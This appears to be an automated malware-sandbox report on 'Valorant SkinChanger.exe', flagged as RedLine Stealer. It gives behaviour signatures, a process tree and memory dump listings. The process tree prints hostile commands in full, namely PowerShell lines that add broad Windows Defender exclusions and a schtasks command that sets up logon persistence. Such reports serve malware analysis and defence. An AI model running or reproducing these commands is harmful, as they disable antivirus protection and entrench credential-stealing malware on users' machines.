Analysis

  • max time kernel
    118s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    23/10/2021, 15:59

General

  • Target
    Valorant SkinChanger.exe
  • Size 2.3MB
  • Sample211023-te3beadcfn
  • SHA256 9e3f93ae0a1f76351b69714917b3f1cd965b09e2e696964b28d693c14f71f007
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Loads dropped DLL 28 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Valorant SkinChanger.exe
    "C:\Users\Admin\AppData\Local\Temp\Valorant SkinChanger.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:816
    • C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1532
      • C:\Windows\system32\mode.com
        mode 65,10
        3⤵
          PID:1560
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e file.zip -p___________29783pwd19393pwd12772pwd8909pwd27852pwd25744pwd14383___________ -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:976
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_10.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1484
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_9.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1824
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_8.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1304
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_7.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1784
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_6.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1264
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_5.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1488
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_4.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1384
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_3.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1648
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_2.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:2000
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_1.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1744
        • C:\Windows\system32\attrib.exe
          attrib +H "bild.exe"
          3⤵
          • Views/modifies file attributes
          PID:1936
        • C:\Users\Admin\AppData\Local\Temp\main\bild.exe
          "bild.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:960
          • C:\Users\Admin\AppData\Local\Temp\sys32.exe
            "C:\Users\Admin\AppData\Local\Temp\sys32.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2008
            • C:\Windows\System32\conhost.exe
              "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\sys32.exe"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1336
              • C:\Windows\System32\cmd.exe
                "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1324
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                  7⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:996
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                  7⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1816
              • C:\Windows\System32\cmd.exe
                "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
                6⤵
                  PID:544
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
                    7⤵
                    • Creates scheduled task(s)
                    PID:1948
                • C:\Windows\System32\cmd.exe
                  "cmd" cmd /c "C:\Users\Admin\services32.exe"
                  6⤵
                  • Loads dropped DLL
                  PID:916
                  • C:\Users\Admin\services32.exe
                    C:\Users\Admin\services32.exe
                    7⤵
                    • Executes dropped EXE
                    PID:1088
                    • C:\Windows\System32\conhost.exe
                      "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"
                      8⤵
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1328
                      • C:\Windows\System32\cmd.exe
                        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                        9⤵
                          PID:1836
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                            10⤵
                            • Drops file in System32 directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1416
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                            10⤵
                            • Drops file in System32 directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1732
                        • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
                          "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
                          9⤵
                          • Executes dropped EXE
                          PID:1144
                          • C:\Windows\System32\conhost.exe
                            "C:\Windows\System32\\conhost.exe" "/sihost32"
                            10⤵
                              PID:1272

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                memory/816-54-0x0000000076851000-0x0000000076853000-memory.dmp

                memory/960-121-0x0000000000A70000-0x0000000000A71000-memory.dmp

                memory/960-119-0x00000000011B0000-0x00000000011B1000-memory.dmp

                memory/996-139-0x000000000232B000-0x000000000234A000-memory.dmp

                memory/996-141-0x0000000002322000-0x0000000002324000-memory.dmp

                memory/996-140-0x0000000002320000-0x0000000002322000-memory.dmp

                memory/996-142-0x0000000002324000-0x0000000002327000-memory.dmp

                memory/996-134-0x000007FEED7C0000-0x000007FEEE31D000-memory.dmp

                memory/996-131-0x000007FEFC351000-0x000007FEFC353000-memory.dmp

                memory/1272-192-0x000000001AAC6000-0x000000001AAC7000-memory.dmp

                memory/1272-187-0x0000000001D00000-0x0000000001D03000-memory.dmp

                memory/1272-193-0x000000001AAC7000-0x000000001AAC8000-memory.dmp

                memory/1272-190-0x000000001AAC2000-0x000000001AAC4000-memory.dmp

                memory/1272-189-0x0000000000060000-0x0000000000067000-memory.dmp

                memory/1272-191-0x000000001AAC4000-0x000000001AAC6000-memory.dmp

                memory/1328-171-0x000000001AFA6000-0x000000001AFA7000-memory.dmp

                memory/1328-169-0x000000001AFA2000-0x000000001AFA4000-memory.dmp

                memory/1328-172-0x000000001AFA7000-0x000000001AFA8000-memory.dmp

                memory/1328-170-0x000000001AFA4000-0x000000001AFA6000-memory.dmp

                memory/1336-136-0x0000000001F94000-0x0000000001F96000-memory.dmp

                memory/1336-135-0x0000000001F92000-0x0000000001F94000-memory.dmp

                memory/1336-127-0x0000000001A20000-0x0000000001A2C000-memory.dmp

                memory/1336-126-0x0000000000060000-0x000000000006F000-memory.dmp

                memory/1336-138-0x0000000001F97000-0x0000000001F98000-memory.dmp

                memory/1336-137-0x0000000001F96000-0x0000000001F97000-memory.dmp

                memory/1416-181-0x000000000228B000-0x00000000022AA000-memory.dmp

                memory/1416-173-0x0000000002280000-0x0000000002282000-memory.dmp

                memory/1416-164-0x000007FEEDD00000-0x000007FEEE85D000-memory.dmp

                memory/1416-174-0x0000000002282000-0x0000000002284000-memory.dmp

                memory/1416-176-0x000000001B730000-0x000000001BA2F000-memory.dmp

                memory/1416-175-0x0000000002284000-0x0000000002287000-memory.dmp

                memory/1732-182-0x0000000002510000-0x0000000002512000-memory.dmp

                memory/1732-183-0x0000000002512000-0x0000000002514000-memory.dmp

                memory/1732-186-0x000000000251B000-0x000000000253A000-memory.dmp

                memory/1732-185-0x000000001B6E0000-0x000000001B9DF000-memory.dmp

                memory/1732-184-0x0000000002514000-0x0000000002517000-memory.dmp

                memory/1732-180-0x000007FEEDD00000-0x000007FEEE85D000-memory.dmp

                memory/1816-146-0x000007FEED7C0000-0x000007FEEE31D000-memory.dmp

                memory/1816-148-0x00000000023B2000-0x00000000023B4000-memory.dmp

                memory/1816-147-0x00000000023B0000-0x00000000023B2000-memory.dmp

                memory/1816-149-0x00000000023B4000-0x00000000023B7000-memory.dmp

                memory/1816-150-0x00000000023BB000-0x00000000023DA000-memory.dmp